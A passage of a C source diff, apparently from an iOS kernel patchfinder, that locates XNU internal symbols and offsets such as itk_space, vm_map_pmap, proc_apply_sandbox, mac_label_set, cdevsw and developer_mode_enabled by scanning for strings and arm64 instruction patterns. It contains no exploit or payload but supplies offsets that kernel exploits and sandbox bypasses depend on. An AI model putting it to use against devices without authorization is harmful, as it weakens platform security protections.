+ pfmetric_run(gXPF.kernelStringSection, shutdownwaitMetric, ^(uint64_t vmaddr, bool *stop) { + shutdownwaitString = vmaddr; + *stop = true; + }); + pfmetric_free(shutdownwaitMetric); + XPF_ASSERT(shutdownwaitString); + + PFXrefMetric *shutdownwaitXrefMetric = pfmetric_xref_init(shutdownwaitString, XREF_TYPE_MASK_REFERENCE); + __block uint64_t beforeLdrAddr = 0; + pfmetric_run(gXPF.kernelTextSection, shutdownwaitXrefMetric, ^(uint64_t vmaddr, bool *stop) { + beforeLdrAddr = vmaddr; + *stop = true; + }); + pfmetric_free(shutdownwaitXrefMetric); + XPF_ASSERT(beforeLdrAddr); + + arm64_register destinationReg; + int decRet = arm64_dec_add_imm(pfsec_read32(gXPF.kernelTextSection, beforeLdrAddr), &destinationReg, NULL, NULL); + XPF_ASSERT(decRet == 0); + + if (ARM64_REG_GET_NUM(destinationReg) != 3) { + // If the string is not loaded into x3, we need to advance until the mov x3, + + uint32_t targetInsn = 0, targetMask = 0; + arm64_gen_mov_reg(ARM64_REG_X(3), destinationReg, &targetInsn, &targetMask); + + uint64_t curAddr = beforeLdrAddr; + for (int i = 0; i < 200; i++) { + uint32_t curInsn = pfsec_read32(gXPF.kernelTextSection, curAddr); + + if ((curInsn & targetMask) == targetInsn) { + beforeLdrAddr = curAddr; + break; + } + + // If we find an unconditional branch, follow it + uint64_t bTarget = 0; + bool isBl = false; + if (arm64_dec_b_l(curInsn, curAddr, &bTarget, &isBl) == 0) { + if (!isBl) { + curAddr = bTarget; + continue; + } + } + + curAddr += 4; + } + } + + uint32_t ldrAny = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAny, &ldrAnyMask); + + uint64_t ldrAddr = pfsec_find_next_inst(gXPF.kernelTextSection, beforeLdrAddr, 20, ldrAny, ldrAnyMask); + XPF_ASSERT(ldrAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrAddr); +} + +static uint64_t xpf_find_task_crashinfo_release_ref(void) +{ + uint32_t movzW0_0 = 0, movzW0_0Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(0), OPT_UINT64(0), OPT_UINT64(0), &movzW0_0, &movzW0_0Mask); + + PFStringMetric *corpseReleasedMetric = pfmetric_string_init("Corpse released, count at %d\n"); + __block uint64_t corpseReleasedStringAddr = 0; + pfmetric_run(gXPF.kernelOSLogSection, corpseReleasedMetric, ^(uint64_t vmaddr, bool *stop){ + corpseReleasedStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(corpseReleasedMetric); + + if (!corpseReleasedStringAddr) { + // iOS 14 does not have the above log string + corpseReleasedMetric = pfmetric_string_init("\"corpse in flight count over-release\""); + pfmetric_run(gXPF.kernelStringSection, corpseReleasedMetric, ^(uint64_t vmaddr, bool *stop){ + corpseReleasedStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(corpseReleasedMetric); + XPF_ASSERT(corpseReleasedStringAddr); + + // iOS 14 also does not have the movz after this panic, so we look for a ret instruction before (as task_crashinfo_release_ref should be the first xref). + PFXrefMetric *corseReleasedXrefMetric = pfmetric_xref_init(corpseReleasedStringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t task_crashinfo_release_ref = 0; + pfmetric_run(gXPF.kernelTextSection, corseReleasedXrefMetric, ^(uint64_t vmaddr, bool *stop) { + if (pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 20, 0xd65f03c0, 0xffffffff)) { + task_crashinfo_release_ref = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + }); + pfmetric_free(corseReleasedXrefMetric); + + return task_crashinfo_release_ref; + } + + PFXrefMetric *corseReleasedXrefMetric = pfmetric_xref_init(corpseReleasedStringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t task_crashinfo_release_ref = 0; + pfmetric_run(gXPF.kernelTextSection, corseReleasedXrefMetric, ^(uint64_t vmaddr, bool *stop) { + if (pfsec_find_next_inst(gXPF.kernelTextSection, vmaddr, 20, movzW0_0, movzW0_0Mask)) { + task_crashinfo_release_ref = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + }); + pfmetric_free(corseReleasedXrefMetric); + + return task_crashinfo_release_ref; +} + +static uint64_t xpf_find_task_collect_crash_info(void) +{ + uint64_t task_crashinfo_release_ref = xpf_item_resolve("kernelSymbol.task_crashinfo_release_ref"); + XPF_ASSERT(task_crashinfo_release_ref); + + uint32_t movzW1_0x4000 = 0x52880001, movzW1_0x4000Mask = 0xffffffff; + __block uint64_t task_collect_crash_info = 0; + PFXrefMetric *task_crashinfo_release_refXrefMetric = pfmetric_xref_init(task_crashinfo_release_ref, XREF_TYPE_MASK_CALL); + pfmetric_run(gXPF.kernelTextSection, task_crashinfo_release_refXrefMetric, ^(uint64_t vmaddr, bool *stop) { + if (pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 0x50, movzW1_0x4000, movzW1_0x4000Mask)) { + task_collect_crash_info = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + }); + + if (!task_collect_crash_info) { + // On iOS 18, this call is followed by a mov w??, #0 + pfmetric_run(gXPF.kernelTextSection, task_crashinfo_release_refXrefMetric, ^(uint64_t vmaddr, bool *stop) { + uint64_t imm = 0; + arm64_register reg; + if (arm64_dec_mov_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr + 4), ®, &imm, NULL, NULL) == 0) { + if (imm == 0 && ARM64_REG_IS_W(reg)) { + task_collect_crash_info = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + } + }); + } + + pfmetric_free(task_crashinfo_release_refXrefMetric); + XPF_ASSERT(task_collect_crash_info); + + // Handle outlining on iOS 18.4+ + // Bit hacky, but with a bit of wishful thinking it might stay like this + PFXrefMetric *task_collect_crash_infoOutlineMetric = pfmetric_xref_init(task_collect_crash_info, XREF_TYPE_MASK_JUMP); + pfmetric_run(gXPF.kernelTextSection, task_collect_crash_infoOutlineMetric, ^(uint64_t vmaddr, bool *stop) { + if ((vmaddr < task_collect_crash_info) && (vmaddr >= (task_collect_crash_info - (5 * sizeof(uint32_t))))) { + task_collect_crash_info = vmaddr - (2 * sizeof(uint32_t)); + *stop = true; + } + }); + pfmetric_free(task_collect_crash_infoOutlineMetric); + + return task_collect_crash_info; +} + +static uint64_t xpf_find_task_itk_space(void) +{ + __block uint64_t task_collect_crash_info = xpf_item_resolve("kernelSymbol.task_collect_crash_info"); + + uint32_t movzW2_1 = 0, movzW2_1Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(2), OPT_UINT64(1), OPT_UINT64(0), &movzW2_1, &movzW2_1Mask); + + __block uint64_t itk_space = 0; + PFXrefMetric *task_collect_crash_infoXrefMetric = pfmetric_xref_init(task_collect_crash_info, XREF_TYPE_MASK_CALL); + __block uint64_t task_collect_crash_infoXref = 0; + + pfmetric_run(gXPF.kernelTextSection, task_collect_crash_infoXrefMetric, ^(uint64_t vmaddr, bool *stop) { + if ((pfsec_read32(gXPF.kernelTextSection, vmaddr - 4) & movzW2_1Mask) != movzW2_1) return; + + task_collect_crash_infoXref = vmaddr; + *stop = true; + }); + pfmetric_free(task_collect_crash_infoXrefMetric); + + XPF_ASSERT(task_collect_crash_infoXref); + + // At vmaddr + 4 there is a CBZ to some other place + // At that place, the next CBZ leads to the place where the actual reference we want is + + uint64_t cbz1Addr = task_collect_crash_infoXref + 4; + bool isCbnz = false; + uint64_t target1 = 0; + int decRet = arm64_dec_cb_n_z(pfsec_read32(gXPF.kernelTextSection, cbz1Addr), cbz1Addr, &isCbnz, NULL, &target1); + XPF_ASSERT(decRet == 0); + if (isCbnz) { + // If this is not a cbz and rather a cbnz, treat the instruction after it as the cbz target + target1 = cbz1Addr + 4; + } + + uint32_t cbzAnyInst = 0, cbzAnyMask = 0; + arm64_gen_cb_n_z(OPT_BOOL_NONE, ARM64_REG_ANY, OPT_UINT64_NONE, &cbzAnyInst, &cbzAnyMask); + + uint64_t cbz2Addr = pfsec_find_next_inst(gXPF.kernelTextSection, target1, 0x20, cbzAnyInst, cbzAnyMask); + + uint64_t target2 = 0; + decRet = arm64_dec_cb_n_z(pfsec_read32(gXPF.kernelTextSection, cbz2Addr), cbz2Addr, &isCbnz, NULL, &target2); + XPF_ASSERT(decRet == 0); + + if (isCbnz) { + // If this is not a cbz and rather a cbnz, treat the instruction after it as the cbz target + target2 = cbz2Addr + 4; + } + + uint32_t ldrAnyInst = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAnyInst, &ldrAnyMask); + + // At this place, the first ldr that doesn't read from SP has the reference we want + uint64_t ldrAddr = target2; + uint64_t ldrEndAddr = ldrAddr + (20 * sizeof(uint32_t)); + while (true) { + ldrAddr = pfsec_find_next_inst(gXPF.kernelTextSection, ldrAddr, (ldrEndAddr - ldrAddr) / 4, ldrAnyInst, ldrAnyMask); + arm64_register addrReg; + uint64_t imm = 0; + arm64_dec_ldr_imm(pfsec_read32(gXPF.kernelTextSection, ldrAddr), NULL, &addrReg, &imm, NULL, NULL); + if (ARM64_REG_GET_NUM(addrReg) != ARM64_REG_NUM_SP) { + itk_space = imm; + break; + } + ldrAddr += 4; + } + + return itk_space; +} + +static uint64_t xpf_find_vm_reference(uint32_t idx) +{ + uint32_t inst = 0x120a6d28; // and w8, w9, #0xffc3ffff + PFPatternMetric *patternMetric = pfmetric_pattern_init(&inst, NULL, sizeof(inst), sizeof(uint32_t)); + + __block uint64_t andAddr = 0; + pfmetric_run(gXPF.kernelTextSection, patternMetric, ^(uint64_t vmaddr, bool *stop) { + andAddr = vmaddr; + *stop = true; + }); + pfmetric_free(patternMetric); + + if (!andAddr) { + inst = 0x120a6d08; // and w8, w8, #0xffc3ffff (iOS 17) + patternMetric = pfmetric_pattern_init(&inst, NULL, sizeof(inst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, patternMetric, ^(uint64_t vmaddr, bool *stop) { + andAddr = vmaddr; + *stop = true; + }); + pfmetric_free(patternMetric); + } + + XPF_ASSERT(andAddr); + + uint32_t ldrAny = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAny, &ldrAnyMask); + uint64_t toCheck = andAddr; + uint64_t ldrAddr = 0; + for (int i = 0; i < idx; i++) { + ldrAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 20, ldrAny, ldrAnyMask); + toCheck = ldrAddr + 4; + } + + XPF_ASSERT(ldrAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrAddr);; +} + +static uint64_t xpf_find_vm_map_pmap(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("userspace has control access to a kernel map %p through task %p @%s:%d"); + __block uint64_t stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!stringAddr) { + // Slightly different on iOS 14 + stringMetric = pfmetric_string_init("\"userspace has control access to a \" \"kernel map %p through task %p\""); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + stringAddr = vmaddr; + *stop = true; + }); + } + + XPF_ASSERT(stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t xrefAddr = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + xrefAddr = vmaddr; + *stop = true; + }); + pfmetric_free(xrefMetric); + + XPF_ASSERT(xrefAddr); + + uint32_t inst[2] = { 0 }; + uint32_t mask[2] = { 0 }; + arm64_gen_ldr_imm(0, gXPF.kernelIsArm64e ? LDR_STR_TYPE_PRE_INDEX : LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &inst[0], &mask[0]); + if (gXPF.kernelIsArm64e) { + arm64_gen_cb_n_z(OPT_BOOL_NONE, ARM64_REG_ANY, OPT_UINT64_NONE, &inst[1], &mask[1]); + } + + __block uint64_t vm_map_pmap = 0; + PFPatternMetric *patternMetric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + pfmetric_run_in_range(gXPF.kernelTextSection, xrefAddr, xrefAddr - (100 * sizeof(uint32_t)), patternMetric, ^(uint64_t vmaddr, bool *stop) { + if (arm64_dec_adr_p(pfsec_read32(gXPF.kernelTextSection, vmaddr - 4), vmaddr - 4, NULL, NULL, NULL) != 0) { + arm64_dec_ldr_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr), NULL, NULL, &vm_map_pmap, NULL, NULL); + *stop = true; + } + }); + pfmetric_free(patternMetric); + + return vm_map_pmap; +} + +static uint64_t xpf_find_proc_struct_size(void) +{ + if (strcmp(gXPF.darwinVersion, "22.0.0") >= 0) { + // iOS >=16 + PFStringMetric *procTaskStringMetric = pfmetric_string_init("proc_task"); + __block uint64_t procTaskStringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, procTaskStringMetric, ^(uint64_t vmaddr, bool *stop) { + procTaskStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(procTaskStringMetric); + XPF_ASSERT(procTaskStringAddr); + + PFXrefMetric *procTaskXrefMetric = pfmetric_xref_init(procTaskStringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t procTaskStringXref = 0; + pfmetric_run(gXPF.kernelTextSection, procTaskXrefMetric, ^(uint64_t vmaddr, bool *stop) { + procTaskStringXref = vmaddr; + *stop = true; + }); + pfmetric_free(procTaskXrefMetric); + XPF_ASSERT(procTaskStringXref); + + uint32_t ldrAnyInst = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAnyInst, &ldrAnyMask); + uint64_t ldrAddr = pfsec_find_prev_inst(gXPF.kernelTextSection, procTaskStringXref, 0x20, ldrAnyInst, ldrAnyMask); + XPF_ASSERT(ldrAddr); + + uint64_t proc_struct_sizeAddr = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrAddr); + return pfsec_read64(gXPF.kernelDataSection, proc_struct_sizeAddr); + } + else { + // iOS <=15 + + PFStringMetric *procStringMetric = pfmetric_string_init("proc"); + __block uint64_t procStringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, procStringMetric, ^(uint64_t vmaddr, bool *stop) { + procStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(procStringMetric); + XPF_ASSERT(procStringAddr); + + uint64_t mask = 0x0000ffffffffffff; + PFPatternMetric *patternMetric = pfmetric_pattern_init(&procStringAddr, &mask, sizeof(procStringAddr), sizeof(uint64_t)); + __block uint64_t proc_struct_size = 0; + pfmetric_run(gXPF.kernelBootdataInit, patternMetric, ^(uint64_t vmaddr, bool *stop) { + uint64_t candidate = pfsec_read64(gXPF.kernelBootdataInit, vmaddr + 8); + if (candidate != 0) { + proc_struct_size = candidate; + *stop = true; + } + }); + + return proc_struct_size; + } +} + +static uint64_t xpf_find_perfmon_dev_open(void) +{ + PFStringMetric *perfmonMetric = pfmetric_string_init("perfmon: attempt to open unsupported source: 0x%x @%s:%d"); + __block uint64_t perfmonString = 0; + pfmetric_run(gXPF.kernelStringSection, perfmonMetric, ^(uint64_t vmaddr, bool *stop) { + perfmonString = vmaddr; + *stop = true; + }); + pfmetric_free(perfmonMetric); + XPF_ASSERT(perfmonString); + + PFXrefMetric *perfmonXrefMetric = pfmetric_xref_init(perfmonString, XREF_TYPE_MASK_REFERENCE); + __block uint64_t perfmonXref = 0; + pfmetric_run(gXPF.kernelTextSection, perfmonXrefMetric, ^(uint64_t vmaddr, bool *stop) { + perfmonXref = vmaddr; + *stop = true; + }); + pfmetric_free(perfmonXrefMetric); + XPF_ASSERT(perfmonXref); + + return pfsec_find_function_start(gXPF.kernelTextSection, perfmonXref); +} + +static uint64_t xpf_find_perfmon_devices(void) +{ + uint64_t perfmon_dev_open = xpf_item_resolve("kernelSymbol.perfmon_dev_open"); + XPF_ASSERT(perfmon_dev_open); + + uint32_t movWAny_0x28Inst = 0, movWAny_0x28Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_ANY, OPT_UINT64(0x28), OPT_UINT64_NONE, &movWAny_0x28Inst, &movWAny_0x28Mask); + + // The "add" of the "adrp, add" we want is either one instruction before this or three after it + uint64_t movAddr = pfsec_find_next_inst(gXPF.kernelTextSection, perfmon_dev_open, 0, movWAny_0x28Inst, movWAny_0x28Mask); + XPF_ASSERT(movAddr); + + uint64_t perfmon_devices = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, movAddr - 4); + if (!perfmon_devices) { + perfmon_devices = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, movAddr + 12); + } + + return perfmon_devices; +} + +static uint64_t xpf_find_vn_kqfilter(void) +{ + PFStringMetric *invalidKnoteMetric = pfmetric_string_init("Invalid knote filter on a vnode! @%s:%d"); + __block uint64_t invalidKnoteString = 0; + pfmetric_run(gXPF.kernelStringSection, invalidKnoteMetric, ^(uint64_t vmaddr, bool *stop) { + invalidKnoteString = vmaddr; + *stop = true; + }); + pfmetric_free(invalidKnoteMetric); + XPF_ASSERT(invalidKnoteString); + + PFXrefMetric *invalidKnoteXrefMetric = pfmetric_xref_init(invalidKnoteString, XREF_TYPE_MASK_REFERENCE); + __block uint64_t invalidKnoteXref = 0; + pfmetric_run(gXPF.kernelTextSection, invalidKnoteXrefMetric, ^(uint64_t vmaddr, bool *stop) { + invalidKnoteXref = vmaddr; + *stop = true; + }); + pfmetric_free(invalidKnoteXrefMetric); + XPF_ASSERT(invalidKnoteXref); + + uint64_t ref_start = pfsec_find_function_start(gXPF.kernelTextSection, invalidKnoteXref); + XPF_ASSERT(ref_start); + + return pfsec_find_function_start(gXPF.kernelTextSection, ref_start - 0x4); +} + +static uint64_t xpf_find_cdevsw(void) +{ + uint64_t vn_kqfilter = xpf_item_resolve("kernelSymbol.vn_kqfilter"); + XPF_ASSERT(vn_kqfilter); + + uint32_t movW2Inst = 0, movW2Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(2), OPT_UINT64(0x20), OPT_UINT64(0), &movW2Inst, &movW2Mask); + uint64_t before_bl_spec_kqfilterAddr = pfsec_find_next_inst(gXPF.kernelTextSection, vn_kqfilter, 100, movW2Inst, movW2Mask); + XPF_ASSERT(before_bl_spec_kqfilterAddr); + uint64_t bl_spec_kqfilterAddr = before_bl_spec_kqfilterAddr + 4; + + uint64_t spec_kqfilter = 0; + arm64_dec_b_l(pfsec_read32(gXPF.kernelTextSection, bl_spec_kqfilterAddr), bl_spec_kqfilterAddr, &spec_kqfilter, NULL); + + uint32_t movW10_0x70 = 0, mov10_0x70Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(10), OPT_UINT64(0x70), OPT_UINT64(0), &movW10_0x70, &mov10_0x70Mask); + uint64_t movAddr = pfsec_find_next_inst(gXPF.kernelTextSection, spec_kqfilter, 0, movW10_0x70, mov10_0x70Mask); + XPF_ASSERT(movAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, movAddr + 0x8); +} + +static uint64_t xpf_find_proc_apply_sandbox(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("Sandbox failed to revoke host port (%d) for pid %d"); + __block uint64_t sandboxFailedStringAddr = 0; + pfmetric_run(gXPF.kernelOSLogSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + sandboxFailedStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(sandboxFailedStringAddr); + + __block uint64_t proc_apply_sandbox = 0; + PFXrefMetric *xrefMetric = pfmetric_xref_init(sandboxFailedStringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop){ + proc_apply_sandbox = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + + return proc_apply_sandbox; +} + +static uint64_t xpf_find_mac_label_set(void) +{ + uint64_t proc_apply_sandbox = xpf_item_resolve("kernelSymbol.proc_apply_sandbox"); + + uint32_t blAnyInst = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAnyInst, &blAnyMask); + + uint64_t firstBLAddr = pfsec_find_next_inst(gXPF.kernelTextSection, proc_apply_sandbox, 100, blAnyInst, blAnyMask); + XPF_ASSERT(firstBLAddr); + uint64_t secondBLAddr = pfsec_find_next_inst(gXPF.kernelTextSection, firstBLAddr+4, 100, blAnyInst, blAnyMask); + XPF_ASSERT(secondBLAddr); + + uint64_t mac_label_set = 0; + arm64_dec_b_l(pfsec_read32(gXPF.kernelTextSection, secondBLAddr), secondBLAddr, &mac_label_set, NULL); + return mac_label_set; +} + +static uint64_t xpf_find_proc_get_syscall_filter_mask_size(void) +{ + PFSection *textSec = (gXPF.kernelSandboxTextSection ?: gXPF.kernelTextSection); + PFSection *stringSec = (gXPF.kernelSandboxStringSection ?: gXPF.kernelStringSection); + if (!gXPF.kernelIsArm64e && !gXPF.kernelIsFileset) { + textSec = gXPF.kernelPLKTextSection; + stringSec = gXPF.kernelPrelinkTextSection; + } + + PFStringMetric *stringMetric = pfmetric_string_init("\"invalid # of syscalls from xnu\" @%s:%d"); + __block uint64_t syscallMasksStringAddr = 0; + pfmetric_run(stringSec, stringMetric, ^(uint64_t vmaddr, bool *stop) { + syscallMasksStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!syscallMasksStringAddr) { + // iOS 15.0 betas 1-3 + stringMetric = pfmetric_string_init("\"invalid # of syscalls from xnu!\" @%s:%d"); + pfmetric_run(stringSec, stringMetric, ^(uint64_t vmaddr, bool *stop) { + syscallMasksStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + } + + if (!syscallMasksStringAddr && gXPF.kernelStringSection && !gXPF.kernelSandboxStringSection) { + // On A11 15.x it is in kernelStringSection, on A10 and A9 it is not, on 16.x it is not + stringMetric = pfmetric_string_init("\"invalid # of syscalls from xnu\" @%s:%d"); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + syscallMasksStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!syscallMasksStringAddr) { + // iOS 15.0 betas 1-3 + stringMetric = pfmetric_string_init("\"invalid # of syscalls from xnu!\" @%s:%d"); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + syscallMasksStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + } + + if (syscallMasksStringAddr) { + textSec = gXPF.kernelTextSection; + stringSec = gXPF.kernelStringSection; + } + } + XPF_ASSERT(syscallMasksStringAddr); + + PFXrefMetric *stringXrefMetric = pfmetric_xref_init(syscallMasksStringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t invalidSyscallLogRefAddr = 0; + pfmetric_run(textSec, stringXrefMetric, ^(uint64_t vmaddr, bool *stop) { + invalidSyscallLogRefAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringXrefMetric); + XPF_ASSERT(invalidSyscallLogRefAddr); + + uint32_t adrpAnyInst = 0, adrpAnyMask = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrpAnyInst, &adrpAnyMask); + uint64_t prevAdrpAddr = pfsec_find_prev_inst(textSec, invalidSyscallLogRefAddr-8, 20, adrpAnyInst, adrpAnyMask); + XPF_ASSERT(prevAdrpAddr); + + PFXrefMetric *logBranchXrefMetric = pfmetric_xref_init(prevAdrpAddr, XREF_TYPE_MASK_JUMP); + __block uint64_t logBranchXrefAddr = 0; + pfmetric_run(textSec, logBranchXrefMetric, ^(uint64_t vmaddr, bool *stop) { + logBranchXrefAddr = vmaddr; + *stop = false; + }); + pfmetric_free(logBranchXrefMetric); + XPF_ASSERT(logBranchXrefAddr); + + uint32_t blAnyInst = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAnyInst, &blAnyMask); + uint64_t blAddr = pfsec_find_prev_inst(textSec, logBranchXrefAddr, 100, blAnyInst, blAnyMask); + XPF_ASSERT(blAddr); + uint64_t proc_get_syscall_filter_mask_size = 0; + arm64_dec_b_l(pfsec_read32(textSec, blAddr), blAddr, &proc_get_syscall_filter_mask_size, NULL); + + return pfsec_arm64_resolve_stub(textSec, proc_get_syscall_filter_mask_size); +} + +static uint64_t xpf_find_nsysent(void) +{ + uint64_t proc_get_syscall_filter_mask_size = xpf_item_resolve("kernelSymbol.proc_get_syscall_filter_mask_size"); + XPF_ASSERT(proc_get_syscall_filter_mask_size); + + uint32_t movAnyInst = 0, movAnyMask = 0; + arm64_gen_mov_imm('z', ARM64_REG_ANY, OPT_UINT64_NONE, OPT_UINT64_NONE, &movAnyInst, &movAnyMask); + uint64_t mov1Addr = pfsec_find_next_inst(gXPF.kernelTextSection, proc_get_syscall_filter_mask_size, 20, movAnyInst, movAnyMask); + XPF_ASSERT(mov1Addr); + uint64_t mov2Addr = pfsec_find_next_inst(gXPF.kernelTextSection, mov1Addr+4, 10, movAnyInst, movAnyMask); + XPF_ASSERT(mov2Addr); + + uint64_t imm = 0; + arm64_dec_mov_imm(pfsec_read32(gXPF.kernelTextSection, mov2Addr), NULL, &imm, NULL, NULL); + return imm; +} + +static uint64_t xpf_find_mach_trap_count(void) +{ + uint64_t proc_get_syscall_filter_mask_size = xpf_item_resolve("kernelSymbol.proc_get_syscall_filter_mask_size"); + XPF_ASSERT(proc_get_syscall_filter_mask_size); + + uint32_t movAnyInst = 0, movAnyMask = 0; + arm64_gen_mov_imm('z', ARM64_REG_ANY, OPT_UINT64_NONE, OPT_UINT64_NONE, &movAnyInst, &movAnyMask); + uint64_t movAddr = pfsec_find_next_inst(gXPF.kernelTextSection, proc_get_syscall_filter_mask_size, 20, movAnyInst, movAnyMask); + XPF_ASSERT(movAddr); + + uint64_t imm = 0; + arm64_dec_mov_imm(pfsec_read32(gXPF.kernelTextSection, movAddr), NULL, &imm, NULL, NULL); + return imm; +} + +static uint64_t xpf_find_mach_kobj_count(void) +{ + uint64_t proc_get_syscall_filter_mask_size = xpf_item_resolve("kernelSymbol.proc_get_syscall_filter_mask_size"); + XPF_ASSERT(proc_get_syscall_filter_mask_size); + + uint32_t ldrswInst = 0, ldrswMask = 0; + arm64_gen_ldrs_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrswInst, &ldrswMask); + uint64_t ldrswAddr = pfsec_find_next_inst(gXPF.kernelTextSection, proc_get_syscall_filter_mask_size, 40, ldrswInst, ldrswMask); + XPF_ASSERT(ldrswAddr); + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrswAddr); +} + +static uint64_t xpf_find_developer_mode_enabled(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("Just like pineapple on pizza, this task/thread port doesn't belong here. @%s:%d"); + __block uint64_t stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + PFXrefMetric *stringXrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t stringXrefAddr = 0; + pfmetric_run(gXPF.kernelTextSection, stringXrefMetric, ^(uint64_t vmaddr, bool *stop){ + stringXrefAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringXrefMetric); + XPF_ASSERT(stringXrefAddr); + + uint32_t adrpAnyInst = 0, adrpAnyMask = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrpAnyInst, &adrpAnyMask); + uint64_t branchTarget = pfsec_find_prev_inst(gXPF.kernelTextSection, stringXrefAddr - 4, 20, adrpAnyInst, adrpAnyMask); + XPF_ASSERT(branchTarget); + + PFXrefMetric *branchXrefMetric = pfmetric_xref_init(branchTarget, XREF_TYPE_MASK_JUMP); + __block uint64_t branchTarget2 = 0; + pfmetric_run(gXPF.kernelTextSection, branchXrefMetric, ^(uint64_t vmaddr, bool *stop){ + branchTarget2 = vmaddr; + *stop = true; + }); + pfmetric_free(branchXrefMetric); + + __block uint64_t afterRefAddr = 0; + if (branchTarget2) { + PFXrefMetric *branchXrefMetric2 = pfmetric_xref_init(branchTarget2, XREF_TYPE_MASK_JUMP); + + pfmetric_run(gXPF.kernelTextSection, branchXrefMetric2, ^(uint64_t vmaddr, bool *stop){ + afterRefAddr = vmaddr; + *stop = true; + }); + pfmetric_free(branchXrefMetric2); + if (!afterRefAddr) { + afterRefAddr = branchTarget2; + } + } + else { + afterRefAddr = branchTarget; + } + + XPF_ASSERT(afterRefAddr); + + 